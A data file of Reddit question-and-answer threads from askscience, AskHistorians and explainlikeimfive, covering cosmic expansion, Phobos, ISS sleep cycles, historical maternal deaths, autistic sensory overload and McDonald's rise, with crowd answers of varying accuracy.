{"q_id": "fbveu", "title": "If space is expanding, why don't we see the effects on a smaller level? ", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/fbveu/if_space_is_expanding_why_dont_we_see_the_effects/", "answers": {"a_id": ["c1ersux", "c1ertim", "c1erwtp"], "score": [15, 113, 17], "text": ["Because the bonds resist the expansion.\n\nIt's a bit like if you glued some buttons to the surface of a balloon, and the blew it up. The buttons themselves wouldn't expand. If it wasn't for this then everything would be expanding at the same rate and the expansion would not be detectable.", "Because gravitation exists, and the fundamental interactions exist.\n\nEvery second, the distance between two fixed points increases by a factor of about 70 kilometers per megaparsec. It's like compound interest; the more you start with, the faster it grows. Which also means the *less* you start with, the *slower* it grows.\n\nFor example, consider the Earth-moon system. Our moon is about a quarter million miles away. The metric expansion of spacetime causes that distance to increase by *less* than one nanometer per second. If you model this as an acceleration, pushing the moon away from the Earth (or vice versa; it doesn't matter which way you go with it), all it does is slightly increase the equilibrium point between the moon's orbital angular momentum and the gravitation that keeps it bound to Earth. And I mean *slightly.*\n\nSo let's consider a bigger system: the Sol-Milky Way system. Our sun is around 25,000 light-years from the center of our galaxy. Over that distance, the metric expansion of spacetime adds up to just 1,000 miles an hour. That might sound like a lot, but the sun is *eight hundred thousand* miles across. It's a tiny, tiny effect. Just like the Earth-moon system, all that happens is that the point of gravitational equilibrium changes very, very slightly.\n\nOn smaller scales, like the scale of people or hedgehogs or molecules, the effect is so small that we can call it zero without it even being an approximation.", "Non-helpful answer, because robot roll call haas written an excellent answer to you question:\n\nObviously you haven't seen my waistline!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "541ow5", "title": "Does a van de graaf generator make you positive or negative?", "selftext": "I'm really hoping for some sources here if possible. \n\nI've been taught using van de graaf generator that the belt is taking away electrons from the dome and whatever is in contact with the dome.  Which I thought would leave the dome positive and you positive,  making Hair repel from each other. \n\nRecently some stuff I read said it was adding electrons to the dome,  making it negative charge.  \n\nI've done research and seem to be finding both answers the more I dig,  even while searching site:edu \n\nCan any one help me out with an answer and a solid source where I can see this explanation. \n\nThanks so much ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/541ow5/does_a_van_de_graaf_generator_make_you_positive/", "answers": {"a_id": ["d7yb03c"], "score": [13], "text": ["When you rub two dissimilar materials together, in some cases one material will pick up a positive charge and one will pick up a negative charge. What a Van de Graaf generator does is to transfer this charge, using a belt, to the metal dome. It is therefore possible to make the dome either positively charged or negatively charged depending on what material was used to separate the charge in the first place."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2wdq83", "title": "How is it possible for humans living in the ISS (International Space Station) to differentiate night from day? Is the ISS trajectory/speed synced with the earth's orbit? Do we even talk about day and night? Work time and nighttime?", "selftext": "Since humans biological clock doesn't detect night from day anymore? What happens?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2wdq83/how_is_it_possible_for_humans_living_in_the_iss/", "answers": {"a_id": ["copz4og", "coq7gok", "coqc8sp", "coqhjaa", "coqv13y"], "score": [157, 16, 3, 2, 3], "text": ["People keep track of how long they've been awake, and go to sleep at necessary times. The station orbits once every 90 minutes or so, and astronauts see a sunrise and sunset during each of those periods. It's similar to how people work in a nuclear submarine, or polar research station, or anywhere else where the day/night cycle doesn't track well with a 24 hour period. You stop caring about night vs day and start caring about sleep/wake cycles.", "The ISS orbits at a fast trajectory to maintain its orbit so no its not synced with the earth. They do also experience darkness from their orbital pattern,  they have approx 16 day/night cycles in a 24 hour period.  Most of them sleep a normal cycle I believe,  probably better than many submarine crews. ", "Live in houston recently visited nasa and this question was asked. Before going up they acclimate  themselves to gmt +0 time for 3 or 6 months can't remember. They then live at that cycle. They work a 12-14 hour shift have off time for a few hours and designated sleep time for 8. (Some of my memory is a bit fuzzy", "Keep in mind the ISS doesn't have many windows other than the Cupola, and can close them easily. The astronauts are all on GMT time, and when it's \"night\" on that schedule, they dim the lights inside the station so it's dark. ", "Instead of in space on the ISS, your answer may be found underground, in a cave. \n\nIn the 60's and 70's, a man named Michel Siffre did experiments on sleep and the perception of time by spending extended periods in caves without a clock, calendar, etc...  NASA took interest and helped fund the research. \n\nUnlike the commonly known circadian rhythm, which is roughly 24 hours and driven by the sun, his study found humans have an internal biological clock that would adjust to roughly a 48 hour cycle. \n\nYou can read more in [an interview with him about it here.](_URL_0_)\n\nAs for the ISS, it has 15 sunrises and sunsets a day. But they also have plenty of clocks and schedules, shifts and contact with others, (and surely alarm clocks) to continually keep them on a regular cycle. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.cabinetmagazine.org/issues/30/foer.php"]]}
{"q_id": "2ogl5c", "title": "Why would Phobos get torn up instead of colliding with Mars?", "selftext": "Why would gravity tear the moon apart and it eventually becomes a ring instead of it just colliding with the planet head on?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2ogl5c/why_would_phobos_get_torn_up_instead_of_colliding/", "answers": {"a_id": ["cmmy5rp"], "score": [45], "text": ["During its orbit of Mars, Phobos is subject to tidal forces: the bits of Phobos that are closer to Mars are experiencing higher gravitational forces than the bits on the far side, which are experiencing a higher centrifugal force (the far side orbits Mars in the same amount of time, but is further away, so has a larger distance to cover). \n\nRight now, that's not too much of a problem: Phobos still has a strong enough gravity to hold together, despite the bits closest to Mars being pulled at Mars, and the bits furthest away being pulled away. For now, that effect isn't strong enough to break Phobos apart. \n\nHowever, as Phobos's orbit decays, it gets closer and closer, and those forces get stronger and stronger. Eventually it will pass the Roche limit, the point where the tidal forces are larger than the gravitational forces. At this point, it's only held together by tension. If you were to sit on the side closest to Mars, the gravity of Mars would pull you off the surface. If you were on the far side, Mars would attract Phobos much stronger than it attracts you, and so Mars would pull Phobos right out from under your feet. \n\nOnce past the Roche limit, bits will start falling off. Anything loose will go pretty quickly, and Phobos itself isn't very solid rock, it's pretty porous.\n\nWhy is this all happening to begin with? The gravity of Phobos is causing Mars to deform a little bit with the same sort of tidal forces. Phobos so close to Mars that its orbital period is shorter than a Martian day, so the bulge caused by Phobos's gravity is always lagging behind Phobos a little bit. The force of that always pulls pulls Phobos a little backwards, slowing it down. If you slow down an orbiting body, you decrease the radius of its orbit, and falling inwards speeds it up again... so it's faster AND closer to the planet than before, so the effect grows stronger.\n\n[edit] I was mistaken about Phobos still being held together with gravity, it is in fact inside the Roche limit already and being held together by its rigidity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1klpde", "title": "what is /r/redpill?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1klpde/eli5_what_is_rredpill/", "answers": {"a_id": ["cbq7vzz", "cbq7x1z", "cbq7xdg", "cbq7ytz", "cbq7z53", "cbqaghl"], "score": [9, 13, 11, 7, 6, 2], "text": ["Well, from what I can gleam from the introduction, the theory is that Feminism is a process for getting male mates. To clarify, feminism creates a higher chance for women to achieve a higher job position, and meet more successful males, resulting in more successful offspring (an evolutionary drive). The Red Pill call this a \"sexual strategy\". The Red Pill also says that Men need to create a counter strategy (exactly what that is I don't know, its not very clear).", "If you can't make sense of it then don't worry you're a normal healthy human being", "It's just a load of angry men blaming their lack of success with women on some made up society based reasons rather than themselves.", "Well, from a quick once over I'm getting the sense that it's an alarmingly backwards pseudo-intellectual haunt for poorly conceived anti-feminist rhetoric. I skimmed a long post about how women should have never been given the right to vote because it's \"ruining marriage\", in which this poster established a lengthy description of the history of increasing divorce rates over the past century (dutifully neglecting to identify divorce rates from beforehand, apparently explaining it away in a different post by saying he \"assumed\" there was no divorce until suffrage).\n\nOne of the more prominent focuses seems to be that society is breaking down the traditional identity of men and that this is bad for a number of reasons I'm still not exactly sure anyone seems to quite understand. I'm seeing the use of a lot of really painfully inaccurate and outdated neurosexist claims to reinforce this weird idea that our socially constructed gender behaviours are natural things we evolved but I'm sure that can't be right since that all got proven wrong years ago. This is all wrapped up in their security blanket of The Red Pill concept that seems to be labeling the dissenters as blind.\n\nYou might want to keep your distance with this one. This is like watching the hatechild of mensrights and spacedicks.", "It's like /r/seduction meets traditional gender roles to an extreme. They back up their claims using statistics that they see as certain truths. If there is a study that claims that men tend to prefer body type X, /r/theredpill will claim that any woman who does not have body type X is \"less valuable\".\n\nThey are very deterministic. They think that if studies show that men tend to be stronger than women then all men are stronger than all women. They use these statistics to improve their method of picking up women and to shape their idea of what all women want in a relationship.\n\nI suggest reading their sidebar. That will give you an idea of TRP philosophy.", "in short:\n\nfeminism has changed society drastically, in a way that women can life the live she wants without being shamed.\n\ntheredpill explains/discusses the impact of this drastic societal change on mens life - a thing that you (unfortunately) can not do in public."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1f5kov", "title": "What was the term that colonists used to justify their taking of land in the colonial pre-USA period? I want to say divine right, but that isn't right. The term alludes me.", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1f5kov/what_was_the_term_that_colonists_used_to_justify/", "answers": {"a_id": ["ca709y3", "ca70xee"], "score": [4, 3], "text": ["Are you thinking of [Manifest Destiny](_URL_0_)?", "I think you mean the term *eludes* you, but maybe there's a second meaning you wanted to convey.  If so, explain and I'll try to meet your need.\n\nThere are a few interlocking justifications.  I want to direct you to John Weaver's *The Great Land Rush and the Making of the Modern World, 1650-1900* (2003), which discusses the processes, rationales, and legal/cultural forms land alienation took in the Anglo settler world (including other places with *terra nullius* and other kinds of forfeiture models).\n\n\"Misuse, disuse, and forfeiture\" are the categories historians of landscape tend to use to describe it, but ideas of providential ownership (including *manifest destiny*, which /u/400-rabbits has [have?] raised but which may not have been operative this early) are the justification so they could vary a little more.  In some areas, people claimed right of conquest; in others, they claimed to discover \"wastes,\" in others still, they felt the land was not necessary in entirety for the people living on it, so they penned them into certain boundaries and alienated the land around them (the reservation or location systems that developed generally later than the period you're talking about here).  \n\nI'm not sure there is any one term that covers the early US period.  Cronon's *Changes in the Land* might raise it, as might Alfred Crosby's work."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Manifest_destiny"], []]}
{"q_id": "gwrbl", "title": "When women died during pregnancy in historical novels, what did they usually die of?", "selftext": "There are a number of stories about the 19th and early 20th centuries that revolve around women who have difficulty giving birth and \"must never have children again.\" I always assumed this was due to complications during childbirth which is clearly a difficult process. But I just watched Gone With The Wind, where Melanie dies long before giving birth. Why did that happen? How did people know if someone could or couldn't survive? And while we're at it, can someone explain what happens to the mother in Pan's Labyrinth?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/gwrbl/when_women_died_during_pregnancy_in_historical/", "answers": {"a_id": ["c1quwj7", "c1qv5iv", "c1qve4c", "c1qvmh1", "c1qxr1f"], "score": [7, 2, 14, 10, 2], "text": ["It's often hard to tell just what people died from.  As you point out, dying during childbirth would be much more likely than dying during pregnancy.\n\nTuberculosis was a common one, and is often referred to in historical literature as \"consumption\".  Smallpox is another.\n\nMore commonly, you'll see references to mysterious \"illness\" or \"fever\".  They didn't know more than that at the time, and usually symptoms weren't written down with enough detail to allow modern researchers to pinpoint it.\n\nAs for your penultimate question, people *didn't* know if someone would or wouldn't survive.  They'd render whatever medical care was available, and hope for the best.\n\nAn historian friend and I joke that there were only three ways people used to die: \"The Fever\", \"The Consumption\", and \"The War\".", "If you're going by statistics it would be bleeding, high blood pressure related, or infection. There's a whole list of other potential reasons, but one of those would be most likely. ", "Another common cause would be [puerpal fever](_URL_1_), which was infection related to the process of childbirth. As an interesting aside, is was this condition that [Semmelweis](_URL_0_) realised could be avoided by the simple process of getting doctors to wash their hands between cases. Unfortunately, nobody believed him and he eventually died in an insane asylum.", "1. Infection. The amniotic fluid is heaven for germs if they can get there.\n\n2. HELLP and Eclampsia (a vascular disease with high BP, protein spewing out into the urine, headaches, and seizures)\n\n3. Hemorrhage. From the whole \"blood exchanging organ ripping out of the uterus\" thing.\n\n4. Pulmonary embolus, either of a venous clot or amniotic fluid. This will land in the lungs and compromise circulation.", "Some english literature of this times seems to favour the anaemic and weak woman as a starting point for disasters. So nothing surprising in Dickens novels starting of with an orphan or some girl the doctor pronounces unfit for another pregnancy.\n\nFactually the women of these times were under extreme reproductive strain. You had no real contraception back then and we people tend to like sex, church-encouraged or not. Consequentially, poorer families were put under strain to nourish the children and child-death-rates were as much as 50% ... all putting more stress to the women. Richer families could unload the work onto servants but still had to cope with the pregnancies (Clara Schumann complaining in letters about no time being left for practicing).\n\nI find it amazing that the roman catholic church still preaches no contraception although the whole first world is obviously better off by ignoring these rules (and the church ignoring the breaking of the rules by believers ;) )."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Ignaz_Semmelweis", "http://en.wikipedia.org/wiki/Puerperal_fever"], [], []]}
{"q_id": "eu7h8x", "title": "what is a sensory overload for an autistic person? how does it affect them and their ability to function?", "selftext": "I understand that they get them but what happens exactly to them?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/eu7h8x/eli5_what_is_a_sensory_overload_for_an_autistic/", "answers": {"a_id": ["ffm8mte", "ffmb2s3", "ffmlio2", "ffmnlg6", "ffmr2dy", "ffmts5j", "ffmyqmn", "ffn31qh", "ffn3hwr", "ffn3xdm", "ffn4kuo", "ffn8pk2", "ffnaezp", "ffnbd4u", "ffne7ea", "ffnp4tx", "ffnxd37", "ffoxbni", "ffthvr2"], "score": [89, 58, 6, 76, 6, 22, 3, 14, 2, 3, 3, 11, 3, 3, 3, 2, 3, 2, 2], "text": ["Think of stimulation like soft tickling. How many hands could tickle you before you started to feel overwhelmed, distracted, lose focus, laugh, scream, fall to the floor, etc?  For some people, just one or two hands tickling them is overwhelming. That's like an individual with autism who is *incredibly* sensitive. But for others, they could ignore it until there were like 30 hands tickling them all at once. That's like an individual with autism who might just be overwhelmed in crowds or around exceptionally bright lights or loud noises. Now imagine what happens to the sensitive person when 30 hands are tickling them. \n\nAnd just like tickling, small amounts of sensory inputs might be really pleasant. But too much or for too long is really upsetting.", "Many autistic people see the world in more detail than the rest of the population, than means they are registering more things each second and being aware of those things than the average person. When there is suddenly too much noise moving objects etc. they are then unable to process all than information at the same time and can feel overloaded and overwhelmed by too much information at once and try to \"defend\" themselves from the excessive input. _URL_0_", "For me the overwhelming feeling erase everything. Its like eternal kind of pain in hell. The only thing i want to do is run away.", "Imagine you're at the store and suddenly the lights start flashing on and off really fast and you start hearing one of those car alarms that changes every few seconds but there's 10 of them at a time, also there's a 3 year old following you around crying really loud and tugging on your shirt, and you're trying to read the label on the bread but it's hard bc the lights keep flashing and you can't focus bc the car alarms and the obnoxious kid. Everyone else is going about their day just fine, telling you to tune it out, but how are you supposed to tune out this madness? It's driving you up the fucking wall and you can't get a break so you suffer til you can't take it anymore and leave without getting bread", "Go try to read a book while being tickled, music blaring, and strobe lights  going off. It is pretty much intolerable. Some people have a lower thresh hold.  It's just to much for your brain to process.", "So basically what this comes down to is sensory regulation. Our body senses all sorts of information from our environment and also from our own body. Our brain takes that information and modulates - either increasing or decreasing these signals based on what is important. \nFor example, when you put your shirt on in the morning you can feel it on your skin, but soon after you brain modulates that so that you are no longer \"feeling it\". Although technically the sensory information from your skin is still being sent to your brain, your brain is essentially ignoring it so you can pay attention to other more important things. \nAnd our brain is doing this constantly. \n\nBut some people have difficulties with this modulation. So their brain maybe doesn't decrease the signal when it's supposed to - So they feel their shirt all day long. \nOr their brain increases that signal so instead of just feeling the light touch of their shirt it actually feels more intense and maybe painful. \n\nAnd then think about how that would feel knowing that this could be happening with a whole bunch of other things throughout the entire day. \nSo you are sitting there, trying to talk with a friend, but at the same time your shirt is hurting you and the lights are too bright and there are 15 people who are talking nearby who sound like they are yelling and the smell of coffee and the person sitting at the table next to you is also distracting and did you notice that that one florescent light is flickering. And you may or may not be consciously aware of all of these competing sensory input but you know that you are overwhelmed or distracted and just cannot make it stop. \n\nAnd then add in that other things can make this feel even more overwhelming, such as when you are stressed about something socially or emotionally, or you're physically stressed from not sleeping well. It can be a lot to handle.", "All you have to know is the fight or flight response is triggered which causes the feeling of panic/freak out. That happens because their body is hypersensitive to picking up sensory data. So when they pick up too much sensory data at once the body thinks that something not right and that your in danger because theres too much chaos which sends the body into fight or flight. \n\nAnd again this happens much easier because their bodies are overturned to pick up sensory data.", "In very basic and over simplified terms, an autistic individual lacks the unconscious ability to filter irrelevant information from the environment, leading to information overload accompanied by the inability to process it effectively.", "I work with people who have autism( among many other issues)\n\n & #x200B;\n\nBasically its an inability to filter out information or process it in a meaningful way.\n\nPeople on the spectrum view the world in a different way( varying for each person). couple with other issues such as learning difficulties, non verbal etc. it becomes harder to deal with too many things ( too many choices, too many conflicting requests , even worries etc ). It can cause them to react negatively in a form of anxiety which heightens their emotional state( this is something that we have to learn to be observant of and why we spend time with them to learn their likes and dislikes and positive behaviour support). we are trained in intervention using verbal techniques to either stop it before it accelerates or if it does, then to  help them release all the emotions safely ( anger etc and sometimes physical aggression). We can use physical restraint as a last resort to protect them, ourselves and the public if need be( but that often requires investigation afterwards which is a legal nightmare). After release, we will sit with them to reassure them, investigate what was the trigger and find ways to either prevent or resolve the issue. They are usually tired and sometimes tearful after the event.\n\n & #x200B;\n\nI can in a way understand the process of what they go through as i can get sensory overload on the audio spectrum if there are too many noises or voices competing for my attention and I can't distinguish or shut them out(Im sensory disabled)\n\n & #x200B;\n\nOver the long term the idea is to reduce the number of incidents to allow a person to lead a life of dignity and quality( in the past they had lower life expectancy). Generally anyone having multiple \"meltdowns\" in their life will suffer mentally. Sometimes without this an autistic person could be attacked by member of the public( this happened to one of my clients who went missing for three days) because they have said or done something inappropriate to a member of  public who are either not so forgiving or educated to understand.\n\n & #x200B;\n\nHTH.", "Imagine you're in a room and lights are being flashed and 10 different yoko ono tracks are being played at the same time on repeat at volume well beyond safe levels. Well not really that. Imagine you're working at an office and all through the day there is the sun blaring against the blind and a little slit in the blind lets a laser beam of light shine in your eyes, and the blinds are moving a bit so the beam kind of follows you around and keeps shining in your eyes, distracting you from your work. It's reasonable to be totally distracted by that to the point where you couldn't work. But an autistic person might complain that a broken fluorescent lightbulb above them buzzing and trying to power up all day and blinking would distract them just as much, even though no one else in the office even noticed the bulb was broken. People here talk about sensory overload like it's something normal people can't understand, but it happens all the time, if I ran a jackhammer next to your desk all day then you'd be bouncing off the walls if you spent the day trying to do some work. CIA routinely use sensory overload when torturing people. Your alarm clock is sensory overload to kick your ass out of sleep in the morning.", "What it feels like for me:\n\nHave you ever thought about how listening works? Like, some sound hits your ear, and there's some kind of background context and some expectation, etc. The combination of those gets interpreted by your brain to tell you not just what the sound was but how it fits into your expectations, how it adjusts the context, etc. Is that car engine you're hearing a outside the building, or is it revving and heading right for you? \n\nMy sensory overloads feel like I lose my ability to connect the input with the context and expectations. So all the inputs become disconnected. Maybe I recognize that it's a car engine, but suddenly I can't figure out whether I expected to hear one right now. Or maybe it comes through as a sound I think I expected, but I lose track of what the sound actually is, or what produced it. For visual overload, I lose the ability to keep the narrative - it's like watching TV where someone else is switching the channel several times each second, but all the channels are showing episodes of Friends so your brain tries to make sense out of it. \n\nMy brain gets stuck on that gap - trying to figure out what the missing information is, or how to contextualize, etc. For hearing, it turns up the volume on everything in the hopes that it will help. For visuals, colors stop making sense, it takes several seconds to recognize objects, etc. For touch, my skin loses its ability to discern, so everything feels itchy at once, and my brain gets stuck trying to manually separate the feeling of my clothes on me from the shape of the thing I'm holding, etc. \n\nFor me, when it happens to one sense it generally happens to others at the same time. Sometimes it's sight and sound, sometimes it's sound and touch, etc. It's pretty rare for me to get smell or taste episodes. \n\nActually, I have a great example. It's NSFW, though. Go to YouTube and find [Eminem's new song, Godzilla](_URL_0_), one where you can follow the lyrics onscreen. Put in on 2x and play it. Now, while listening and trying to read the lyrics, have someone else in the room start talking to you about the most boring subject in the world. Then have a third person pick up random objects in the room and start rubbing them against random parts of your exposed skin - the back of your neck, hands, etc. In front of you there's a plate of unrelated foods that you can't look at, you just have to eat them - carrots, jelly beans, sushi rolls, potato chips, mushrooms, licorice. There's a lot of sensory information coming at you at once, none of it seems connected, but it doesn't stop.\n\nThat's what it feels like for me. Generally, it only lasts a few minutes, especially if I notice it happening and can pull myself away to a quiet room for a few minutes. On bad days it will happen at work and I'll just have to either excuse myself or intentionally tune out of everything that's happening. On really bad days it might last hours, and the best I can do is try to take a nap, which is almost impossible given the lightning storm in my brain. \n\nAlso, these are some great explanations. Thanks to everyone for writing down what it feels like for you.", "Oh, also, you asked about how it affects our ability to function.\n\nFor me, and many others on the spectrum, it takes _a lot_ of brainpower to process social things. The nuances in a facial expression, the emotions implied by a choice of words, etc. Not just the inputs, but also the outputs: what's the right word choice to express sympathy versus indifference (even if I don't care about the topic, because I do care about the person). Even just remembering to show my emotions to the outside world by smiling, etc, that takes brainpower that it doesn't for neurotypicals.\n\nWhen I'm having a sensory episode, that brainpower gets chewed up trying to process the senses, so all of the social stuff drops. My wife refers to it as \"the human simulation goes offline\". I can't read faces, linguistic nuance is completely lost, my affect goes flat, I say things that sound completely inappropriate (but are really just what we're all thinking) because that filter drops, etc.\n\nMy wife has actually figured out how to use this reduced social cognition to recognize an oncoming sensory episode. She'll flat out ask if I'm having one, which is great because it makes me stop and do some self assessment. Not all episodes are sudden and noticeable - sometimes they creep up like background noise. So she's able to see them before I do, in some cases.", "Too much input from outside sources. In my personal experience, I have a difficult time talking to people while looking at them and listening to what they say, and either I'd miss something they said, or I clam up and have a hard time talking.\n\nIn times like those, I look at something else that is bland to reduce the input, and prevent myself from socially shutting down. Of course, this has its own problems, where people think I'm not listening to them and not giving them the time of day - up until I repeat everything they said to me, with about 90-95% accuracy.", "I'm on the spectrum. \"Sensory overload\" covers a whole bunch of stuff. Mostly, for me, it makes it very difficult to perceive things. Loud noise makes it hard to see. Bad acoustics make it worse. Waiting rooms with high ceilings make me agitated and nauseous. Clothing stores (or anywhere with too many soft surfaces) make it difficult to track where people are, what's going on.\n\nWhen I was a kid, the color red used to set me off. Put me in a red room, I would become increasingly agitated until I left.\n\nCertain sounds trigger it hard. Country music has always been a trigger. Anything with too much twang or treble.\n\nDon't know if it's related, but listening to idiots make small talk is the only other thing that can produce the same escalating anger and anxiety. Feels like I'm being attacked, kicks in my adrenaline hard. Like, chest pounds and I want nothing in the world more than to just start throwing punches. I don't, but fuck. People need to pay attention to the folks around them. If you aren't being concise, why are you talking? If someone asks you a question and you respond with a story, I hate you.", "I\u2019m an occupational therapist. We deal with sensory processing. \n\nOur sensory system can be compared to a glass of water. We all want our glass filled just the right amount. Not overflowing and not empty. \n\nSome people\u2019s glasses are bigger or smaller than others so they need different amounts of water. Sometimes people with autism have a very very small glass and their glass overflows much more quickly than others. When that overflow happens we call that sensory overload. \n\nSo imagine what you feel like when your glass overflows. Imagine if someone was clanging pots and pans in your face while you\u2019re covered in insanely scratchy clothes while someone demands you to think straight and solve crazy math problems. It would be impossible. You might get angry and shout at them, or try to run away.", "If I'm a room with a lot of people. If I listen to one of them talk I listen to all others at the same time. This becomes a massive workload for the brain and it makes me more agitated for every second. \n\n\nSmall irregular sounds or movements / flashing lights also always bring my attention to it. And every time I need to divert my attention to something insignificant it adds a small amount of stress to my current mood. \n\n\nThere are quite a lot of things that can be stressful. And eventually, it reaches a threshold were life sucks for the moment. \nLots of anxiety, can't focus on anything and I'm easily aggrevated.\n\nBeing alone for a bit and listen to music usually helps me reset. But if it goes on for too long I basically need to take the full day off to reset my self.", "I'm not on the spectrum, but my grandson is, and he once explained to me that it sometimes seemed to him that what he was experiencing was like watching and listening to a TV that is continuously scrolling up and down, through all the dozens of channels \u2014 and his remote is broken.", "The best I can explain it is imagine something significant happened to you, you start to tell someone you love and then the phone rings, you ignore it to finish your conversation, as it is important, but then the oven goes off. You ignore, slightly irritated but quickly find place back in your conversation. As you start, your children race through the room, start a scuffle, knocking things about, clattering and clunking, your partner walks into the kitchen and starts preparing themselves a meal and digging into the cutlery drawer. \nYour door bell goes off, the phone starts ringing again and someone has left the tap running full blast.\nYou don't want to talk or hear. You don't care about finishing your story, you just want to get back to a state and environment where having a quiet conversation is even possible.\nIt feels like that and it can happen for almost no reason unlike the examples I've given.", "I see you've gotten a bunch of good answers already, but I want to provide one that is based on some currently popular theories in brain science.\n\nYou can think of the brain as a sort of scientist. When our sensory system is stimulated, we have to figure what is most likely to have caused it. So the incoming sensory stream is data, while the brain generates hypotheses based on what it already knows. When there's a mismatch between hypothesis and data, we get error signals--surprisal. Surprisal is very important. We improve our understanding of the world one surprise at the time.\n\nNow, it's often better to have \"fuzzy\" hypotheses than rock-solid ones. Not all dogs look exactly alike, so it would be a pain to be constantly surprised by every new dog. We can call this fuzziness precision, because that's what it is. You can compare it to throwing darts. It's going to be really frustrating if you only count bulls eye's as hits. If you demand that of yourself, things are going to be tough. It's better to have a fuzzier precision (at least in the beginning), like hitting the board.\n\nIn autism, the precision of hypotheses is generally really high. Meaning that they're constantly getting bombarded with error signals. What's worse is that neurotypical people use ambiguous (imprecise) language very often. This will be very confusing to someone with a high precision.\n\nProfessions requiring high precision, like science, programming, mathematics, and engineering, are often very attractive to people on the spectrum.\n\nSensory overload can be interpreted as an overabundance of error signals. Stimming (self-stimulation) is a coping strategy that is probably effective because it sends a bunch of self-generated precise signals into the incoming sensory streaming, drowning out the noise.\n\nThis also explains why people with autism tend to have problems coping with changes in habits and plans. The ambiguity doesn't feel good."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://youtu.be/iSJ9tEzgoPg"], [], [], [], [], [], [], [], [], ["https://youtu.be/pWdI4pHbiU0"], [], [], [], [], [], [], [], []]}
{"q_id": "4bmp0o", "title": "how did mcdonald's become a super franchise? why is it more popular than other well known fast-food chains?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4bmp0o/eli5_how_did_mcdonalds_become_a_super_franchise/", "answers": {"a_id": ["d1ahner", "d1aj53v", "d1apjeh", "d1aqebm", "d1as2b9", "d1at84a", "d1au1mb", "d1auf8d", "d1aulaq", "d1avtjt", "d1awt0p"], "score": [210, 4, 8, 26, 2, 15, 10, 2, 2, 2, 4], "text": ["from what i understood in college, they perfected the user experience to be the same at all mcdonalds. so no matter where you are, you know what you're going to get and what to expect. they also made the process of getting food fast and easy, with customers in and out the door", "Strongly recommend you read Ray Kroc's biography, Grinding It Out.\n\nThe formula was very simple, really.\n\nAll Ray did was aim for consistency so that the McDonald's experience was 100% the same from San Diego to Milwaukee.\n\nAnother reason I recommend that book is because you get to learn how the McFish sandwich came to be.", "They pioneered the \"fast\" in fast food, as well as French fry production. They also were one of the first to fire all of the carhops and mechanize the process, resulting in those long lines to the register. McDonald's also pioneered the use of franchising to help jumpstart small business owners, extending their reach hundredfold. \n\nFor more information, I recommend the book *Fast Food Nation* by Eric Schlosser. ", "I'll go ahead and disagree with many of the other commentators. Perhaps my comment will shed a different perspective.\n\nI believe the success of McDonald's has very little to do with its food or quality. It makes more sense if you do not consider McDonald's to be a restaurant chain. \n\nInstead, consider it as a *real estate company*.\n\nIt makes money in two ways.                       \nThe first is obvious: flippin' burgers is best way for franchise owners to pay the rent, pay franchise fees and build the brand.\n                      \nSecond: McDonald's buys and sells corporate properties that franchisees rent.\n\nMcDonald's never really took off until [Ray Kroc](_URL_0_) joined the team and took the company in its current direction. It was because of Kroc that McDonald's began to focus more on traffic studies than building 'a better burger'. \n\nIIRC, McDonald's now has the the second most number of properties of any organization on the planet, second only to the Vatican (I could be wrong). \n\nAccording to Kroc, all McDonald's has to do is stay *consistent* with it's product (a Big Mac is a Big Mac whether you're in Moscow or Boston or Tokyo) and the rest is market and property saturation. \n\n\n\n\n\n\n", "Not only consistency in the food that was served, but Ray Kroc, being a travelling salesman, also insisted on having clean bathrooms.", "There are more Subways than McDonalds in the US.\n\nThere's a Subway in damn near every stripmall", "What a lot of people here tend to forget though is what McDonald's did for years. Who did they advertise to more than anyone else? Children. They had an entire puppet group just for the kids. Ask a child 20 years ago what place they want for lunch. The first response from 99/100 kids would be McDonald's. Those kids grew up in the golden arches fries and burgers. I know I sure did. So those kids grow up and still go there with their kids. Rinse and repeat. But they have had to move away from that because of all the backlash they've gotten from the lawsuits and documentaries etc etc. So now t hey can't use this strategy that has worked for them for them for years. And they aren't doing so hot any more. It's really what helped them out. They got so much more business when kids wanted nothing but McDonald's.", "Not only did they invent fast food as we know it today, they also invented franchising as we know it today.", "It's important to remember that the chains that expand the furthest are not the **best**, but the **most profitable**.", "Super cheap, I know that's the only reason they got me as a client during my college year, pretty much the only food i could afford when i wasn't feeling like cooking", "McDonald's aimed marketing at children hoping we would return as adult customers with our own children. The kid sized hamster tunnels and ball crawls create positive memories of the franchise. As a kid, Mom drove us to new opening McD's to see Ronald the clown. Children's meals came with a toy in my day. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Ray_Kroc"], [], [], [], [], [], [], []]}
